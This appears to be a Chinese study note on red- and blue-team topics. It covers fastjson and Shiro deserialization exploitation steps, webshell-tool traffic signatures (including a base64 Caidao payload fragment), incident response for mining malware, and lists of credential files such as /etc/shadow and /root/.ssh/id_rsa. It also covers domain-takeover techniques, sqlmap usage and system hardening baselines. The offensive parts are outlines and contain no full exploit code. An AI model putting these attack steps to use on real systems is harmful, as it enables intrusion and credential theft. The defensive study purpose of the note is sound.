开启抓包确定是不是fastjson框架,通过修改请求包判断是否是fastjson框架  ,应为fastjson有一个严格的格式才能解析,否则会报错
准备一个恶意的类
使用javac编译 rmi.java文件  生成一个类文件      
然后将类文件放到监听的服务器上
使用工具运行rmi文件
修改数据包中的post请求主体
然后进行端口监听
点击go,发现反弹shell成功

最近的spring rce

这个CVE-2010-1622漏洞的原因是Spring参数绑定时,可以注入一个Java pojo对象,这个对象可以是恶意的去注册一些敏感tomcat的属性,最后通过修改Tomcat的配置来执行危险操作。
class.*

挖矿病毒的处置

(一)Windows系统

2、在防火墙关闭不必要的映射端口号或服务,重启再测试是否还会有可疑进程存在;

3、对操作系统及系统相关管理界面的登录设置强密码(10位以上,大小写字母、数字及特殊字符的组合)。

(二)Linux/mac系统

2、在防火墙关闭不必要的映射端口号或服务,重启再测试是否还会有可疑进程存在。

3、建议系统管理员对操作系统及系统相关管理界面的登录设置强密码(10位以上,大小写字母、数字及特殊字符的组合);

netstat -antp linux查看进程

0x00 前言

随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一。病毒传播者可以利用个人电脑或服务器进行挖矿,具体现象为电脑CPU占用率高,C盘可使用空间骤降,电脑温度升高,风扇噪声增大等问题。

0x01 应急场景

某天上午重启服务器的时候,发现程序启动很慢,打开任务管理器,发现cpu被占用接近100%,服务器资源占用严重。

win81.png

0x02 事件分析

登录网站服务器进行排查,发现多个异常进程:

win82.png

分析进程参数:

wmic process get caption,commandline /value >> tmp.txt

win83.png
TIPS:

在windows下查看某个运行程序(或进程)的命令行参数
使用下面的命令:
wmic process get caption,commandline /value
如果想查询某一个进程的命令行参数,使用下列方式:
wmic process where caption=”svchost.exe” get caption,commandline /value
这样就可以得到进程的可执行文件位置等信息。

访问该链接:

win84.png
Temp目录下发现Carbon、run.bat挖矿程序:

win85.png

具体技术分析细节详见:

360CERT:利用WebLogic漏洞挖矿事件分析

https://www.anquanke.com/post/id/92223

清除挖矿病毒:关闭异常进程、删除c盘temp目录下挖矿程序 。

临时防护方案

  1. 根据实际环境路径,删除WebLogic程序下列war包及目录

    rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war

    rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

    rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

  2. 重启WebLogic或系统后,确认以下链接访问是否为404

    http://x.x.x.x:7001/wls-wsat

0x04 防范措施

新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染的成功率。通过利用永恒之蓝(EternalBlue)、web攻击多种漏洞,如Tomcat弱口令攻击、Weblogic WLS组件漏洞、Jboss反序列化漏洞,Struts2远程命令执行等,导致大量服务器被感染挖矿程序的现象 。总结了几种预防措施:

1、安装安全软件并升级病毒库,定期全盘扫描,保持实时防护
2、及时更新 Windows安全补丁,开启防火墙临时关闭端口
3、及时更新web漏洞补丁,升级web组件

webshell工具的流量特征

(83条消息) Webshell工具的流量特征分析(菜刀,蚁剑,冰蝎,哥斯拉)_告白热的博客-CSDN博客_webshell流量特征

菜刀

数据包流量特征:
1,请求包中:ua头为百度,火狐
2,请求体中存在eval,base64等特征字符
3,请求体中传递的payload为base64编码,并且存在固定的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

蚁剑

payload特征:
Php中使用assert,eval执行,
asp 使用eval
在jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征

数据包流量特征:
使用普通的一句话都存在以下特征:
每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且后面存在base64等字符
响应包的结果返回格式为:
随机数
响应内容
随机数

冰蝎

paylaod分析:
php在代码中同样会存在eval或assert等字符特征
在aps中会在for循环进行一段异或处理
在jsp中则利用java的反射,所以会存在ClassLoader,getClass().getClassLoader()等字符特征

冰蝎2.0流量特征:
第一阶段请求中返回包状态码为200,返回内容必定是16位的密钥
请求包存在:Accept: text/html, image/gif, image/jpeg, ; q=.2, /; q=.2

哥斯拉

payload特征:
jsp会出现xc,pass字符和Java反射(ClassLoader,getClass().getClassLoader()),base64加解码等特征
php,asp则为普通的一句话木马

哥斯拉流量分析:
作为参考:
所有请求中Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
所有响应中Cache-Control: no-store, no-cache, must-revalidate,
同时在所有请求中Cookie中后面都存在;特征

shiro反序列化(cookie)

AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞

1.2.4 key是写在源码里的,找到key就能构造攻击链,1.2.4之后的775key是随机生成的,但我们还可以构造cookie,尝试构造攻击链。
Shiro流量特征:数据包含有多个$$$符号,C参数含有base64编码。

(1)开启环境,抓包判断是否是shiro框架
在cookie后边加上rememberMe=1,如果回复包出现rememberMe=deleteMe,说明他就是shiro框架
(2)获取key值,因为key值在源码中,所以需要使用工具获取
 (3)爆破利用链
 (4)执行反序列化漏洞命令执行
 
 出网协议:rmi,jndi,ldap,jrm,jmx,jms
 
 Shiro-550,只需输入url,即可完成自动化检测和漏洞利用。Shiro-721,需输入url,提供一个有效的rememberMe Cookie,并指定目标操作系统类型。

如何判断攻击成功

看请求包和响应包

image-20220613144014925

扫描器流量特征

image-20220613144342246

image-20220613144346894

image-20220613144353800

Redis未授权 6379

image-20220616002422083

image-20220615195653696

大概就是写文件进去,开机自启动,定时任务,以及写入ssh公钥

image-20220615200123174

勒索病毒怎么处理

image-20220615204218916

命令执行代码执行常见函数

image-20220615204425176

一些安全加固

image-20220615204615956

weblogic

14882+14883组合拳,14882做一个未授权访问,登到控制台,然后通过14883命令执行,写一个xml文件把命令写进去,让它去访问你的vps然后加载xml。

xml的反序列化漏洞,通过xmldecoder还是什么导致的xml解析代码执行。弱口令。

流量特征:不加密,常见的出网协议也可以用。有很多T3协议的特征,文件操作和冰蝎一样有fileoutstream字段。

linux提权

image-20220616002440960

windows提权

image-20220616002454227

mysql提权

image-20220920190833089

**UDF (user defined function)**,即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,其实就像使用本地MySQL函数如 user() 或 concat() 等。

在 udf.dll 文件中刻字机定义函数,然后5,1以下导入到 c:\windows或者 c:\windows\system32下,5.1以上导入到MySQL Server 5.xx\lib\plugin

udf利用条件
(1)MySQL数据库没有开启安全模式。
(2)已知的数据库账号具有对MySQL数据库insert和delete的权限,最好是root最高权限。
(3)shell有写入到数据库安装目录的权限。
(4)知道绝对路径

研判

蓝队研判
研判工作要充分利用已有安全设备(需要提前了解客户的网络拓扑以及部署设备情况),分析其近期的设备告警,将全部流量日志(日志条件:源地址,目的地址,端口,事件名称,时间,规则 ID,发生 次数等)根据研判标准进行筛选(像挖矿、蠕虫、病毒、拒绝服务这类不太可能为攻击方发起的攻击的事件,直接过滤掉,减少告警数量),一般情况下,真实攻击不可能只持续一次,它一定是长时间、周期性、多 IP 的进行攻击

对于告警结合威胁情报库如:微步、奇安信威胁情报中心、绿盟威胁情报云等对于流量日志的原 IP 地址进行分析,判断其是否为恶意攻击,推荐使用微步的插件,如果确认为攻击行为或者不能确认是否为攻击行为,进行下一步操作,在之前准备好的表格中查找 IP 是否为客户内网部署的设备,如果不是,继续进行下一步,在事件上报平台查看是否有其他人提交过,如果没有,则上报

然后根据流量日志,对请求数据包和返回数据包分析判断其是否为误报,需要留意 X-Forwarded-For(简称XFF)和 x-real-ip 可以了解些 webshell 工具的流量特征,尤其是免杀 webshell,有可能不会被设备识别

最后上报事件时,尽可能提供完整的截图,包括源 ip、目的ip,请求包请求体,响应包响应体等重要信息,以方便后续人员研判溯源

研判经验谈

敏感操作

敏感命令

敏感时间点

日志记录

设备提示

流量信息

安全警告

物理设备报错

弱口令经验谈

爆破攻击告警需格外谨慎,可能是“正在进行时”。

更据数量及业务是否对外开放,判断报错的数量大小(如果是内网不开放却出现大量警告就是特征)

根据时间点(半夜还有人频繁登录,凌晨还有管理员在操作电脑)概率极小

更据返回值的字段(Burpsuite的使用,我们可以知道,如果登录成功,返回的字符长度不一样)

判断返回的请求值(不可取,可能不成功也会返回200)只能当一个弱特征!

内网经验谈

攻击IP可以是内网IP(大概率是远控)特征:扫描探测行为、爆破行为、命令执行等漏扫行为,这个时候可以考虑对该主机,流量进行检测

通过进一步研判确定行为是否有攻击特征(eg:可能是通过弱口令、SQL注入、RCE进入内网所导致的)

排查检测完毕后,对目标进行加固,并检查硬件设备和周围区域主机,篡写报告

告警排查经验谈

通过安全检测:检查是否存在后门程序、代码行为、命令执行等行为

练习研判师傅通过流量检测系统确认存在,攻击行为

应急与加固复责引导攻击进入蜜罐和修复漏洞,篡写报告

常见的框架漏洞

image-20220616002859095

spring的漏洞

image-20220616103236191

image-20220616103245713

image-20220616103255437

image-20220616103307691

image-20220616103314706

thinkphp框架漏洞

rce

image-20220616103546015

sql注入

image-20220616103559468

冰蝎内存马怎么查杀 以及其他

冰蝎内存马用的是jvm加载类字节码的能力,常规的工具很难检测查杀,github上已经有查杀冰鞋jvm内存马的工具。

如果我们通过检测工具或者其他手段发现了一些内存webshell的痕迹,需要有一个排查的思路来进行跟踪分析,也是根据各类型的原理,列出一个排查思路。

如果是jsp注入,日志中排查可疑jsp的访问请求。

如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法

根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。

如果是servlet或者spring的controller类型,根据上报的webshell的url查找日志(日志可能被关闭,不一定有),根据url最早访问时间确定被注入时间。

如果是filter或者listener类型,可能会有较多的404但是带有参数的请求,或者大量请求不同url但带有相同的参数,或者页面并不存在但返回200

webshell排查

1.系统如果已经被植入后门,说明攻击者已经攻击成功,而且拿到权限,这时候日志信息可能提供不了帮助,首先要去考虑系统的账户是否安全,,又没口令爆破成功的痕迹,排查账号的密码是否已经不安全.

(Linux)的话看计划任务,有没有定时反弹shell,还有就是进程是不是可疑在通信.发现可疑问题,就要样本分析. crontab -l

(windows)的话就看启动项和进程.

如果是web入侵,看日志web服务是不是安全?还原攻击的流程.

反向代理的工具

image-20220616162629488

数据库有哪些

image-20220616225637341

php危险函数

image-20220616225652582

黄金白银票据

image-20220919142934218

linux比较重要的目录

image-20220920161729837

sqlmap常用命令

参数:-u URL 、-v 输出日志、-r 读取文件 、–random-agent随机UA、–dbs获取所有数据库、–cookie指定cookie

–level 2 指定测试范围 2可以测试cookie 、–data= 指定post请求参数 、–batch 默认设置

–risk 3 设置威胁级别、–technique= 指定测试的注入类型、-g 代入google查询 -p 指定测试的参数

脚本绕过操作:将所有空格替换为使用随机文本来截断注释,要开始使用篡改脚本,需先使用 –tamper 参数,后面再加上脚本的名称

java实现rce的函数

Runtime.getruntieme.exec(“cmd”)

new ProcessBuilder().start(“cmd”)

struct2流量特征

strut s2

特征:ognl表达式

nmap常用参数

端口状态概述 open 开放 closed 关闭 filtered 被过滤掉了,无法进行判断 unfiltered 未被过滤可以进行访问
参数:
1、-Pn 跳过主机发现,视为所有的主机都在线
2、sn 只做ping扫描不做端口扫描
3、sT\A\W\M 不同的扫描端口,进行扫描
4、-p 指定端口进行扫描 –exclude-ports:排除端口进行扫描
5、-sV 探测系统的版本
–version-intensity:设置相关的程度,详细级别,0~9 越高越详细
–version-trace:打印详细的版本扫描过程
6、脚本扫描
–scri= :指定对应的脚本名称
7、O:激活系统的探测
–osscan-limit:只对开放端口的有效主机进行系统的探测
8、-T<0-5>:时间模板,越大速度越快
9、-6:使能IPV6探测
10、-A:使能系统探测、版本检测、脚本扫描、路由追踪
11、-V:打印版本号
12、-v:增加输出的详细程度
ps://blog.csdn.net/weixin_45837168/article/details/122893544

nginx日志分析

Nginx的日志放在那里,如何进行分析?主要看哪些你认为重要的地方?

图片

配置文件/etc/nginx/nginx.conf

Nginx的日志分为访问日志access_log和错误日志error_log两大块,前者主要记录用户每次访问的情况,后者则侧重于服务器的具体错误,比如返回403的具体原因是文件不可读还是权限不足之类的。

分析access_log

1、可以根据每个所关心的字段读取频率最高的前十看看是否有什么出乎意料的情况,以客户端IP,客户端User-Agent,
以及返回状态码为例。

2、流量观察:对于一般网站来说流量监控也是比较重要的,所以根据访问时间,可以统计出每天的访问量和一天中平均各个时间段的访问量:

分析error_log:

错误类型、路径错误、SEO(搜索引擎优化)、查错示例

文件包含漏洞协议

file:///var/www/html 访问本地文件系统

ftp://<login>:<password>@<ftpserveraddress> 访问 FTP(s) URLs

data:// 数据流

http:// — 访问 HTTP(s) URLs

ftp:// — 访问 FTP(s) URLs

php:// — 访问各个输入/输出流

zlib:// — 压缩流

data:// — Data (RFC 2397)

glob:// — 查找匹配的文件路径模式

phar:// — PHP Archive

ssh2:// — Secure Shell 2

rar:// — RAR

ogg:// — Audio streams

expect:// — 处理交互式的流

基线规范

linux基线规范

1账号管理和授权

检查特殊账号,是否存在空密码的账户和 root 权限账户
禁用或删除无用账号
添加口令策略:/etc/login.defs修改配置文件,设置过期时间、连续认证失败次数
禁止 root 远程登录,限制root用户直接登录。
检查 su 权限。vi /etc/pam.d/su添加auth required pam_wheel.so group=test

2服务

关闭不必要的服务
SSH 服务安全
不允许 root 账号直接登录系统,PermitRootLogin=no
修改 SSH 使用的协议版本为 2
修改允许密码错误次数(默认 6 次),MaxAuthTries=3

3文件系统

设置 umask 值 vi /etc/profile 添加行 umask 027
设置登录超时 vi /etc/profile 修改配置文件,将以 TMOUT= 开头的行注释,设置为 TMOUT=180

4日志

启用 syslogd 日志,配置日志目录权限,或者设置日志服务器
记录所有用户的登录和操作日志,通过脚本代码实现记录所有用户的登录操作日志,防止出现安全事件后无据可查

5IP 协议安全要求

远程登录取消 telnet 采用 ssh
设置 /etc/hosts.allow 和 deny
禁止 ICMP 重定向
禁止源路由转发
防 ssh 破解,iptables (对已经建立的所有链接都放行,限制每分钟连接 ssh 的次数)+ denyhost (添加 ip 拒绝访问)

windows安全基线

主要包括五个方面:身份鉴别、访问控制、安全审计、资源控制、剩余信息保护

1身份鉴别

更改缺省账户
检查Guest用户是否禁用
密码复杂性要求
密码长度最小不能小于8位

2访问控制

共享账户检查
远程关机授权
本地关机
授权帐户登陆

3安全审计

用户登录日志记录
系统日志完备性检查
登录超时管理

4资源控制

登录超时管理
远程登录超时配置

5剩余信息保护

不显示上次的用户名
关机前清除虚拟内存页面
不启用可还原的加密来存储密码

中间件基线规范

1配置

账号
授权
日志
session 过期时间(防ddos)
绑定监听地址

2禁止

目录权限
访问外部文件
CGI
非法HTTP方法(PUT DELETE)

3隐藏

服务版本号
重定向错误页面

4删除

配置文件
默认安装的无用文件

DDOS CC应急思路以及如何防范

目前对于低网络层的 DDoS 攻击有一些有效的防护手段,如丢弃第一次 SYN 包,上流量防护设备,上 WAF 封禁地址等

比较难缠的是第七层,第八层的 CC 攻击,它会找到目标网站上比较消耗资源的关键位置,重复发起攻击以消耗 CPU/内存/数据库/IO 等资源,目前的应付手段有:

  1. 优化资源消耗高位置的代码
  2. 增加硬件设备
  3. 上云
  4. 购买专业安全公司的安全服务
  5. 除此之外,隐藏服务器的真实 IP、上云 WAF、CDN、 负载均衡等设备,或者暂时将域名解析到公安网警网站等也是可以作为选择方案
  • 网络设备设施
    • 拼带宽,加大带宽,但是成本太高
    • 使用硬件防火墙
    • 选用高性能设备
  • 抗 D 思想和方案
    • 负载均衡
    • 花钱买流量清洗服务
    • CDN:web 层,比如 cc 攻击
    • 分布式集群防御
    • 高防:防大部分攻击,udp、大型的 cc 攻击
  • 预防为主
    • 系统漏洞
    • 系统资源优化
    • 过滤不必要的服务和端口
    • 限制特定流量:检查访问来源做适当限制

windows和linux的敏感文件

windows

C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS 配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql 配置
C:\Program Files\mysql\data\mysql\user.MY D //Mysql root
C:\Windows\php.ini //php 配置信息
C:\Windows\my.ini //Mysql 配置信息

linux

etc/passwd、etc/shadow直接读密码
/etc/hosts # 主机信息
/root/.bashrc # 环境变量
/root/.bash_history # 还有root外的其他用户
/root/.viminfo # vim 信息
/root/.ssh/id_rsa # 拿私钥直接ssh
/proc/xxxx/cmdline # 进程状态枚举 xxxx 可以为0000-9999 使用burpsuite

sqlmap反制

实际上都是在shell里执行bash命令,构造一种特殊数据包,封闭的双引号中带命令。

img

sqlmap写shell的原理

sqlmap的–os-shell在mysql数据库中的原理,其实就是往服务器上写入了两个php,其中一个给我们提供了文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行,命令行也可以在网页url中通过对cmd参数传参执行系统命令。

利用条件
知道网站的物理路径
高权限数据库用户
secure_file_priv无限制
网站路径有写入权限

拿域控的几种方式

net time /domain

利用GPP漏洞获取域管理权限

SYSVOL是域内的共享文件夹,用来存放登录脚本、组策略脚本等信息。当域管理员通过组策略修改密码时,在脚本中引入用户密码,就可能导致安全问题

获取服务器明文登录密码

使用MS14-068漏洞进行提权

窃取域管理员令牌

进程迁移

入侵了域管理员所登录的服务器,将进程迁移到域管理员所运行的进程,就可以获得域管理员权限。

内网扩大战果

查看本机的IP地址

查看路由表

查看本地连接信息

利用dns信息

利用域信息

使用arp命令

查看本地的hosts文件

查看本地用户的连接信息

java反序列化函数

序列化:java.io.ObjectOutputStream 类中的 writeObject()

反序列化:java.io.ObjectInputStream 类中的 readObject()

cs不出网上线的几种方法

存在一台中转机器:
SMB Beacon
中转listener
HTTP 代理
TCP Beacon(正向)
使用pystinger进行代理转发

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。